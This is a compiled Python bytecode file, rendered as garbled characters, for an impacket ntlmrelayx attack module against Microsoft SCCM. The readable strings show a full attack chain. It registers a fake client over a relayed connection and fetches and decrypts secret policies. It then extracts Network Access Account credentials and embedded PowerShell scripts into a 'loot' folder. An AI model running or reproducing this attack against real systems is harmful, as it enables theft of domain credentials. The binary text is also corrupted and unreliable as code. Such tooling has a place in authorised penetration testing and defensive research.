o
    àý°j¡p  ã                   @   s2  d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlm  m	Z
 d dlmZ d dlmZmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZmZmZ d d	lmZ d d
lmZmZm Z  d dl!m"Z" d dl#m$Z$m%Z%m&Z& d dl'm(Z( d dl)m*Z* d dl+m,Z, dZ-dZ.dZ/dZ0dZ1dZ2i dd“dd“dd“dd“dd“d d!“d"d#“d$d%“d&d'“d(d)“d*d+“d,d-“d.d/“d0d1“d2d3“d4d5“d6d7“d8d9d:œ¥Z3d;d<„ Z4d=d>„ Z5d?d@„ Z6dAdB„ Z7dCdD„ Z8dEdF„ Z9dGdH„ Z:dIdJ„ Z;dKdL„ Z<dMdN„ Z=dOdP„ Z>dQdR„ Z?dSdT„ Z@dUeAfdVdW„ZBdXdY„ ZCdZd[„ ZDG d\d]„ d]ƒZEdS )^é    N)Úsleep)ÚdatetimeÚ	timedelta)ÚLOG)Úx509)ÚNameOID)ÚObjectIdentifier)ÚserializationÚhashesÚpadding)Úrsa)ÚPKCS1v15ÚOAEPÚMGF1)ÚSHA1)ÚCipherÚ
algorithmsÚmodes)Údefault_backend)Úrfc5652)ÚdecodeaP  <Data HashAlgorithm="1.2.840.113549.1.1.11" SMSID="" RequestType="Registration" TimeStamp="{date}">
<AgentInformation AgentIdentity="CCMSetup.exe" AgentVersion="5.00.8325.0000" AgentType="0" />
<Certificates><Encryption Encoding="HexBinary" KeyType="1">{encryption}</Encryption><Signing Encoding="HexBinary" KeyType="1">{signature}</Signing></Certificates>
<DiscoveryProperties><Property Name="Netbios Name" Value="{client}" />
<Property Name="FQ Name" Value="{clientfqdn}" />
<Property Name="Locale ID" Value="2057" />
<Property Name="InternetFlag" Value="0" />
</DiscoveryProperties></Data>z�<ClientRegistrationRequest>{data}<Signature><SignatureValue>{signature}</SignatureValue></Signature></ClientRegistrationRequest> a�  <Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{bodylength}" Offset="0" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook3 Name="zlib-compress" /></Hooks><ID>{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}</ID><Payload Type="inline" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>a%  <Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{bodylength}" Offset="0" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook2 Name="clientauth"><Property Name="AuthSenderMachine">{client}</Property><Property Name="PublicKey">{publickey}</Property><Property Name="ClientIDSignature">{clientIDsignature}</Property><Property Name="PayloadSignature">{payloadsignature}</Property><Property Name="ClientCapabilities">NonSSL</Property><Property Name="HashAlgorithm">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name="zlib-compress" /></Hooks><ID>{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}</ID><Payload Type="inline" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceID>GUID:{clientid}</SourceID><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>aY  <RequestAssignments SchemaVersion="1.00" ACK="false" RequestType="Always"><Identification><Machine><ClientID>GUID:{clientid}</ClientID><FQDN>{clientfqdn}</FQDN><NetBIOSName>{client}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:PRI</PolicySource><Resource ResourceType="Machine" /><ServerCookie /></RequestAssignments>a  <Report><ReportHeader><Identification><Machine><ClientInstalled>0</ClientInstalled><ClientType>1</ClientType><ClientID>GUID:{clientid}</ClientID><ClientVersion>5.00.8325.0000</ClientVersion><NetBIOSName>{client}</NetBIOSName><CodePage>850</CodePage><SystemDefaultLCID>2057</SystemDefaultLCID><Priority /></Machine></Identification><ReportDetails><ReportContent>Inventory Data</ReportContent><ReportType>Full</ReportType><Date>{date}</Date><Version>1.0</Version><Format>1.1</Format></ReportDetails><InventoryAction ActionType="Predefined"><InventoryActionID>{{00000000-0000-0000-0000-000000000003}}</InventoryActionID><Description>Discovery</Description><InventoryActionLastUpdateTime>{date}</InventoryActionLastUpdateTime></InventoryAction></ReportHeader><REPORT_BODY /></Report>z1.2.840.113549.3.7údes-ede3-cbcz1.2.840.113549.1.1.1ÚrsaEncryptionz1.2.840.113549.1.1.2Úmd2WithRSAEncryptionz1.2.840.113549.1.1.3Úmd4withRSAEncryptionz1.2.840.113549.1.1.4Úmd5WithRSAEncryptionz1.2.840.113549.1.1.5zsha1-with-rsa-signaturez1.2.840.113549.1.1.6ÚrsaOAEPEncryptionSETz1.2.840.113549.1.1.7úid-RSAES-OAEPz1.2.840.113549.1.1.8zid-mgf1z1.2.840.113549.1.1.9zid-pSpecifiedz1.2.840.113549.1.1.10z
rsassa-pssz2.16.840.1.101.3.4.1.41Ú
aes256_ecbz2.16.840.1.101.3.4.1.42Ú
aes256_cbcz2.16.840.1.101.3.4.1.43Ú
aes256_ofbz2.16.840.1.101.3.4.1.44Ú
aes256_cfbz2.16.840.1.101.3.4.1.45Úaes256_wrapz2.16.840.1.101.3.4.1.46Ú
aes256_gcmÚ
aes256_ccmÚaes256_wrap_pad)z2.16.840.1.101.3.4.1.47z2.16.840.1.101.3.4.1.48c                 C   s¸   t  t  tjd¡g¡ }}t  ¡  |¡ |¡ |  ¡ ¡ 	t  
¡ ¡ t ¡ tdd� ¡ t ¡ tdd� ¡jt jdddddddddd�	dd�jt  td	ƒtd
ƒg¡dd� | t ¡ ¡}|S )NzConfigMgr Clienté   )Údaysim  TF)	Údigital_signatureÚkey_enciphermentÚkey_cert_signÚkey_agreementÚcontent_commitmentÚdata_enciphermentÚcrl_signÚencipher_onlyÚdecipher_only)Úcriticalz1.3.6.1.4.1.311.101.2z1.3.6.1.4.1.311.101)r   ÚNameÚNameAttributer   ÚCOMMON_NAMEÚCertificateBuilderÚsubject_nameÚissuer_nameÚ
public_keyÚserial_numberÚrandom_serial_numberÚnot_valid_beforer   Úutcnowr   Únot_valid_afterÚadd_extensionÚKeyUsageÚExtendedKeyUsager   Úsignr
   ÚSHA256)Ú
privatekeyÚsubjectÚissuerÚcert© rG   ú¶/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmpoliciesattack.pyÚcreate_certificateX   sF   
ÿÿÿÿÿÿÿ
þðíìrI   c                  C   s   t jddd�} | S )Ni  i   )Úpublic_exponentÚkey_size)r   Úgenerate_private_key)rC   rG   rG   rH   Úcreate_private_keyt   s   rM   c                 C   s,   |   |tƒ t ¡ ¡}t|ƒ}| ¡  t|ƒS ©N)rA   r   r
   rB   Ú	bytearrayÚreverseÚbytes)Úprivate_keyÚdataÚ	signatureÚsignature_revrG   rG   rH   Ú	SCCM_signx   s   rV   c                 C   s6   d}||   ¡  ¡ jjt| jd ƒdd� }| ¡  ¡ S )Ns      ¤  RSA1     é   Úlittle)Ú	byteorder)r8   Úpublic_numbersÚnÚto_bytesÚintrK   ÚhexÚupper)rR   Ú
blobHeaderÚblobrG   rG   rH   Úbuild_MS_public_key_blob   s   &rb   c                 C   s   |   d¡dd … S )Núutf-16r&   )Úencode)rS   rG   rG   rH   Úencode_UTF16_strip_BOM†   s   re   c                 C   s6   |   d¡}|dkr|  d|¡d }| d |… }|S | S )Nz</éÿÿÿÿú>é   )ÚrfindÚfind)Ú
xml_stringÚroot_endÚclean_xml_stringrG   rG   rH   Úclean_junk_in_XML‰   s   
rn   c           	      C   sÀ   t jt ¡  d¡||| d¡d |d�}t|t|ƒƒ ¡  	¡ }t
j||d�}t|ƒd d¡ }tjt|ƒd |t ¡  d¡| d	�}d
 d¡}|| d¡d d¡ 7 }|t |¡d d¡ 7 }|S )Nú%Y-%m-%dT%H:%M:%SZÚ.r   )ÚdateÚ
encryptionrT   ÚclientÚ
clientfqdn)rS   rT   z
Úasciir&   )Ú
bodylengthrs   rq   Ú
sccmserverúJ--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16

rc   úJ
--aAbBcCdDv1234567890VxXyYzZ
content-type: application/octet-stream

ú 
--aAbBcCdDv1234567890VxXyYzZ--)ÚREGISTRATION_REQUEST_TEMPLATEÚformatr   ÚnowÚstrftimeÚsplitrV   re   r^   r_   Ú%REGISTRATION_REQUEST_WRAPPER_TEMPLATErd   ÚSCCM_HEADER_TEMPLATEÚlenÚzlibÚcompress)	Úmanagement_pointr8   rR   Úclient_nameÚregistrationRequestrT   ÚregistrationRequestWrapperÚregistrationRequestHeaderÚ
final_bodyrG   rG   rH   Ú%generate_registration_request_payload“   s.   ûþ
ü
r‹   c                 C   sâ   t tj||| d¡d d�ƒd }t |¡}t|ƒ}d| ¡ › �}t|t |ƒd 	d¡ ƒ 
¡  ¡ }t||ƒ 
¡  ¡ }	tjt|ƒd | | d¡d |||	|t ¡  d	¡d
�}
d 	d¡}||
 	d¡d 	d¡ 7 }||d 	d¡ 7 }|S )Nrp   r   )Úclientidrt   rs   s     
úGUID:ú  ru   r&   ro   )rv   rw   rs   Ú	publickeyÚclientIDsignatureÚpayloadsignaturerŒ   rq   rx   rc   ry   rz   )re   ÚPOLICY_REQUEST_TEMPLATEr|   r   rƒ   r„   rb   r_   rV   rd   r^   ÚPOLICY_REQUEST_HEADER_TEMPLATEr‚   r   r}   r~   )r…   rR   Úclient_guidr†   ÚpolicyRequestÚpolicyRequestCompressedÚMSPublicKeyÚclientIDÚclientIDSignatureÚpolicyRequestSignatureÚpolicyRequestHeaderrŠ   rG   rG   rH   Ú!generate_policies_request_payload²   s4   ýü
 
ø
rœ   c                 C   s    |  | tttƒ d�tƒ d d�¡S )N)Ú	algorithm)Úmgfr�   Úlabel)Údecryptr   r   r   ©Úencrypted_keyrR   rG   rG   rH   Údecrypt_key_OEAPÒ   s    r£   c                 C   s   |  | tƒ ¡S rN   )r    r   r¡   rG   rG   rH   Údecrypt_key_RSAÕ   s   r¤   c                 C   ó@   t t |¡t |¡tƒ d�}| ¡ }| | ¡| ¡  }| 	d¡S ©N©Úbackendúutf-16le)
r   r   Ú	TripleDESr   ÚCBCr   Ú	decryptorÚupdateÚfinalizer   ©ÚbodyÚplaintextkeyÚivÚcipherr¬   Ú	plaintextrG   rG   rH   Údecrypt_body_triple_DESØ   ó   
rµ   c                 C   r¥   r¦   )
r   r   ÚAESr   r«   r   r¬   r­   r®   r   r¯   rG   rG   rH   Údecrypt_body_AESCBCÞ   r¶   r¸   c              
   C   s®  t | t ¡ d�\}}t | d¡t ¡ d�\}}|d d d d  ¡ }t|d d d d d ƒ}|d	 d
 d  ¡ dd … }|d	 d  ¡ }t|d	 d
 d ƒ}z(t| dkr^t||ƒ}	nt| dkrjt	||ƒ}	nt
 dt| › d�¡ W d S W n ty‘ }
 zt
 d¡ W Y d }
~
d S d }
~
ww z,t| dkr¢t||	|ƒ}W |S t| dkr±t||	|ƒ}W |S t
 dt| › d�¡ W d S  tyÖ }
 zt
 d¡ W Y d }
~
d S d }
~
ww )N)Úasn1SpecÚcontentÚrecipientInfosr   ÚktriÚencryptedKeyÚkeyEncryptionAlgorithmr�   ÚencryptedContentInfoÚcontentEncryptionAlgorithmÚ
parametersr&   ÚencryptedContentr   r   zKey decryption algorithm z is not currently implemented.z%[-] Unknown key decryption algorithm.r   r   z[-] Body decryption algorithm z&[-] Unknown body decryption algorithm.)r   r   ÚContentInfoÚgetComponentByNameÚEnvelopedDataÚasOctetsÚstrÚOID_MAPPINGr¤   r£   r   ÚerrorÚKeyErrorrµ   r¸   )Úpolicy_responserR   rº   Ú_ÚencryptedRSAKeyÚkeyEncryptionOIDr²   r°   ÚbodyEncryptionOIDr±   ÚeÚplaintextbodyrG   rG   rH   Údecrypt_secret_policyä   sD   €
€þ
÷ú
€þrÒ   Úsecretc                 C   sÜ   t dgd ƒ}t dgd ƒ}tjt ¡ tƒ d�}| | ¡ | ¡ }tt|ƒƒD ]}||  || N  < ||  || N  < q'tjt ¡ tƒ d�}| |¡ | ¡ }tjt ¡ tƒ d�}| |¡ | ¡ }	||	d d…  }
|
S )Né6   é@   é\   r§   é   )	rO   r
   ÚHashr   r   r­   r®   Úranger‚   )rÓ   Úbuf1Úbuf2ÚdigestÚhash_ÚiÚdigest1Úhash1Údigest2Úhash2Úderived_keyrG   rG   rH   Úmscrypt_derive_key_sha1  s    


rä   c           	      C   sÒ   t | tƒr
t | ¡} t | dd… d¡}| dd| … }t| dd… ƒ}tdgd ƒ}tt 	|¡t
 |¡tƒ d	�}| ¡ }| |¡| ¡  }t d¡ ¡ }| |¡| ¡  }z| d
¡}W |S    | ¡ }Y |S )Né4   é8   rX   rÕ   r×   é,   r   rW   r§   z	utf-16-le)Ú
isinstancerÇ   rQ   Úfromhexr]   Ú
from_bytesrä   r   r   rª   r   r«   r   r¬   r­   r®   r   ÚPKCS7Úunpadderr   r^   )	ÚoutputÚdata_lengthÚbufferÚkeyr²   r³   r¬   Údecrypted_dataÚpadderrG   rG   rH   Údeobfuscate_secret_policy_blob  s"   

þ
ró   c           
      C   sÊ   t | ƒ} d}d}d}d}d}d}d}d}g }	| |@ dkr!|	 d	¡ | |@ dkr,|	 d
¡ | |@ dkr7|	 d¡ | |@ dkrB|	 d¡ | |@ dkrM|	 d¡ | |@ dkrX|	 d¡ | |@ dkrc|	 d¡ |	S )Nr   rh   r&   r×   rW   é   é    rÕ   ÚTASKSEQUENCEÚREQUIRESAUTHÚSECRETÚINTRANETONLYÚPERSISTWHOLEPOLICYÚAUTHORIZEDDYNAMICDOWNLOADÚ
COMPRESSED)r]   Úappend)
ÚpolicyFlagValueÚNONErö   r÷   rø   rù   rú   rû   rü   ÚresultrG   rG   rH   Úparse_policies_flags6  s2   






r  c                   @   s4   e Zd Zdd„ Zdd„ Zdd„ Zdd„ Zd	d
„ ZdS )ÚSCCMPoliciesAttackc                 C   sì  t  d¡ | jjdkrdnd› d| jj› �}| jj› dt ¡  d¡› d�}| jj	d kr3| j
 d	¡| j_	| jjd kr=d
| j_ztj|dd� t  d|› �¡ W n tyi } zt  d|› �¡ W Y d }~d S d }~ww t |› d�¡ t  d¡ tƒ }t|ƒ}| tjj¡ ¡  ¡ }t|› d�dƒ�}| | tjj¡¡ W d   ƒ n1 s¦w   Y  t|› d�dƒ�}| |jtjjtjjt ¡ d�¡ W d   ƒ n1 sÏw   Y  t  d| jj	› d�¡ t |||| jj	ƒ}z'|  !||¡}	|	d krût  d¡ W d S t" #|	d d… ¡}
|
j$d  %d¡d }W n t�y+ } zt  d|› �¡ W Y d }~d S d }~ww t|› d�dƒ�}| |› d�¡ W d   ƒ n	1 �sHw   Y  t|› d �dƒ�}| | jj	› d�¡ W d   ƒ n	1 �skw   Y  t  d!|› �¡ t  d"| jj› d#�¡ t&t'| jjƒƒ t(|||| jj	ƒ}zÃ|  )||¡}t" #|d d… ¡}
|
 *d$¡}i }|D ]J}d%|j$v �rº|j$d% nd&d'|j$v �rÆ|j$d' nd&d(|j$v �rÒ|j$d( nd&d)|j$v �ràt+|j$d) ƒnd&|d* j, -d+| %d,¡d ¡d-œ||j$d. < �q­t|› d/�dƒ�}| t. /|¡¡ W d   ƒ n	1 �sw   Y  t|› d0�dƒ�}| |¡ W d   ƒ n	1 �s2w   Y  i }| 0¡ D ]\}}t1|d) t2ƒ�rTd1|d) v �rT|||< �q=W n t�ys } zt  d2|› �¡ W Y d }~d S d }~ww t  d3t3| 4¡ ƒ› d4t3| 4¡ ƒ› d5�¡ t3| 4¡ ƒd*k�r˜t  d6¡ d S | 0¡ D ]J\}}z'|  5|||||¡}|d7 d u�rÅt  d8|d7 d9 › d:|d7 d; › d�¡ W �qœ t�yæ } zt  d<|› d=|› �¡ W Y d }~�qœd }~ww t  d>|› �¡ t  d?¡ d S )@NzStarting SCCM policies attacki»  ÚhttpsÚhttpz://rÌ   z%Y%m%d%H%M%SÚ_sccm_policies_lootú$é´   T)Úexist_okzLoot directory is: z&Error creating base output directory: z/devicez;Generating Private key and client (self-signed) certificatez/device/cert.pemÚwbz/device/key.pem)Úencodingr|   Úencryption_algorithmz*Registering SCCM client with client name 'ú'zDevice registration failedrf   ÚSMSIDr�   rh   zDevice registration failed: z/device/guid.txtÚwÚ
z/device/client_name.txtz%Client registration complete - GUID: zSleeping for z secondsz	.//PolicyÚPolicyVersionzN/AÚ
PolicyTypeÚPolicyCategoryÚPolicyFlagsr   z<mp>zhttp://)r  r  r  r  ÚPolicyLocationÚPolicyIDz/policies.jsonz/policies.rawrø   zPolicies request failed: zPolicies list retrieved. z total policies; z secret policiesz…No secret policies retrieved. Either you relayed a user account and automatic device approval is not enabled, or something went wrongÚNAA_credentialsz$Retrieved NAA account credentials: 'ÚNetworkAccessUsernameú:ÚNetworkAccessPasswordz:Encountered an error when trying to process secret policy z - z-DONE - attack finished. Check loot directory zãYou can reuse the registered device from the generated GUID/private key in the device/ subdirectory - for instance with SCCMSecrets.py. This is only possible for a limited time, before the legitimate device re-registers itself.)6r   Úinfors   ÚportÚhostr   r}   r~   ÚconfigÚSCCMPoliciesClientnameÚusernameÚrstripÚSCCMPoliciesSleepÚosÚmakedirsÚ	ExceptionrÉ   rM   rI   Úpublic_bytesr	   ÚEncodingÚDERr^   r_   ÚopenÚwriteÚPEMÚprivate_bytesÚPrivateFormatÚTraditionalOpenSSLÚNoEncryptionr‹   Úregister_clientÚETÚ
fromstringÚattribr   r   r]   rœ   Úrequest_policiesÚfindallr  ÚtextÚreplaceÚjsonÚdumpsÚitemsrè   Úlistr‚   ÚkeysÚsecret_policy_process)Úselfr…   Úloot_dirÚerrrR   Úcertificater8   ÚfÚregistration_request_payloadÚregister_responseÚrootr”   rÐ   Úpolicies_request_payloadÚpolicies_responseÚpoliciesÚpolicies_jsonÚpolicyÚsecret_policiesrð   Úvaluer   rG   rG   rH   Ú_runW  sº   
"€þ
ÿ$ÿ
€þÿÿ
üÿÿ€þ€þ(
(€$€ÿzSCCMPoliciesAttack._runc                 C   ó¤   ddddœ}| j jd|› d�||d� | j  ¡  ¡ }d}| d	|  ¡ ¡}|D ](}|r/|d
kr0q'z
| dd¡\}}	W n   Y d|v rOt |	¡ d¡}
|
  S q'd S )NÚcloseúConfigMgr Messaging HTTP Senderú6multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"©Ú
Connectionú
User-AgentzContent-TypeÚCCM_POSTz/ccm_system_windowsauth/request©ÚheadersÚaAbBcCdDv1234567890VxXyYzZú--ó   --
ó   

rh   ó   application/octet-streamrc   ©	rs   ÚrequestÚgetresponseÚreadr   rd   rƒ   Ú
decompressr   )r=  r…   rB  rV  r°   ÚboundaryÚmultipart_dataÚpartÚheaders_partrº   Údecompressed_contentrG   rG   rH   r/  ¸  s(   ýþz"SCCMPoliciesAttack.register_clientc                 C   rM  )NrN  rO  rP  rQ  rT  z/ccm_system/requestrU  rW  rX  rY  rZ  rh   r[  rc   r\  )r=  r…   rE  rV  r°   ra  rb  rc  rd  rº   re  rG   rG   rH   r3  Ò  s(   ýþz#SCCMPoliciesAttack.request_policiesc                 C   s”   dddœ}d|› dt  ¡  d¡› d�|d< t|d|› dt  ¡  d¡› d� d	¡d
d … d d¡ ƒ ¡  ¡ |d< | jjd||d� | j 	¡  
¡ }|S )NrN  rO  )rR  rS  r�   ú;ro   z;2ÚClientTokenrc   r&   rŽ   ru   ÚClientTokenSignatureÚGETrU  )r   r}   r~   rV   rd   r^   r_   rs   r]  r^  r_  )r=  Ú
policy_urlr”   rR   rV  ÚrrG   rG   rH   Úrequest_policyë  s   þ Fz!SCCMPoliciesAttack.request_policyc                 C   sŽ  t  d|› �¡ t |› d|› �¡ d d dœ}|  |d ||¡}t||ƒd d… }t|ƒ}|d dkrMt  d¡ t 	|¡}	t
 |	j¡}
t |
¡}| d	¡}t|› d|› d
�dƒ�}| |¡ W d   ƒ n1 shw   Y  t 	|¡}	i }|d dkr±|	 d¡D ]0}d }d }| d¡D ] }| d¡}|dkrž| d¡j ¡ }qŠ|dkrª| d¡j ¡ }qŠ|||< qn|	 d¡}|D ]}|d j||jd < q¸t  dt| ¡ ƒ› d�¡ t| ¡ ƒD ]ß\}}t|| ƒ}|› d|› dt|d ƒ› d|› d�}t|dƒ�}| d|› d�¡ | |d ¡ W d   ƒ n	1 �sw   Y  |dk�r#||d< |dk�r,||d< t  d|d › �¡ zht 	t|ƒ¡}| d ¡}t|ƒdk�r�t  dt|ƒ› d!�¡ t|ƒD ]C\}}t |j¡ d"¡}t|› d|› dt|d ƒ› d|› d#|d › d�
dƒ�}| |¡ | d¡ W d   ƒ n	1 �s–w   Y  �qYW qØ tj�y· } zt  d$¡ W Y d }~qØd }~ww |d d u�rÃd%|iS d%d iS )&NzProcessing secret policy ú/)r  r  r  rf   r  ÚCollectionSettingszFProcessing a CollectionSettings policy to extract collection variablesÚutf16z/policy.txtr  z.//instanceÚpropertyÚnamer2   rK  ÚValuez.//*[@secret="1"]r   zFound z% obfuscated blob(s) in secret policy.z/secretBlob_rh   ú-z.txtzSecret property name: z

r  r  r  u   Deobfuscated blob nÂ°z.//*[@property="SourceScript"]z% embedded powershell scripts in blob.r©   Ú_embeddedScript_z1Failed parsing XML on this blob - not XML contentr  )r   r  r"  r#  rl  rÒ   rn   Údebugr0  r1  ÚbinasciiÚ	unhexlifyr5  rƒ   r`  r   r(  r)  r4  Úgetrj   Ústripr2  r‚   r;  Ú	enumerateró   rÇ   Úbase64Ú	b64decodeÚ
ParseError)r=  ÚpolicyIDrI  rR   r”   r>  r  rË   Ú	decryptedrD  Úbinary_dataÚdecompressed_datarA  Ú	blobs_setÚinstancerq  rK  ÚpropÚ	prop_nameÚobfuscated_blobsÚobfuscated_blobrÞ   Ú	blob_namerS   ÚfilenameÚblobrootÚsource_scriptsÚjÚscriptÚdecoded_scriptrÐ   rG   rG   rH   r<  ù  s„   




ÿ

€
÷
$þ


6
þ€
€þz(SCCMPoliciesAttack.secret_policy_processN)Ú__name__Ú
__module__Ú__qualname__rL  r/  r3  rl  r<  rG   rG   rG   rH   r  U  s    ar  )Fr"  rƒ   r7  r{  ÚstringÚrandomrv  Úxml.etree.ElementTreeÚetreeÚElementTreer0  Útimer   r   r   Úimpacketr   Úcryptographyr   Úcryptography.x509.oidr   Úcryptography.x509r   Úcryptography.hazmat.primitivesr	   r
   r   Ú)cryptography.hazmat.primitives.asymmetricr   Ú1cryptography.hazmat.primitives.asymmetric.paddingr   r   r   Ú%cryptography.hazmat.primitives.hashesr   Ú&cryptography.hazmat.primitives.ciphersr   r   r   Úcryptography.hazmat.backendsr   Úpyasn1_modulesr   Úpyasn1.codec.der.decoderr   r{   r€   r�   r“   r’   ÚREPORT_BODYrÈ   rI   rM   rV   rb   re   rn   r‹   rœ   r£   r¤   rµ   r¸   rÒ   rQ   rä   ró   r  r  rG   rG   rG   rH   Ú<module>   s¦   ÿüûúùø	÷
öõôóðïîíìëé
 #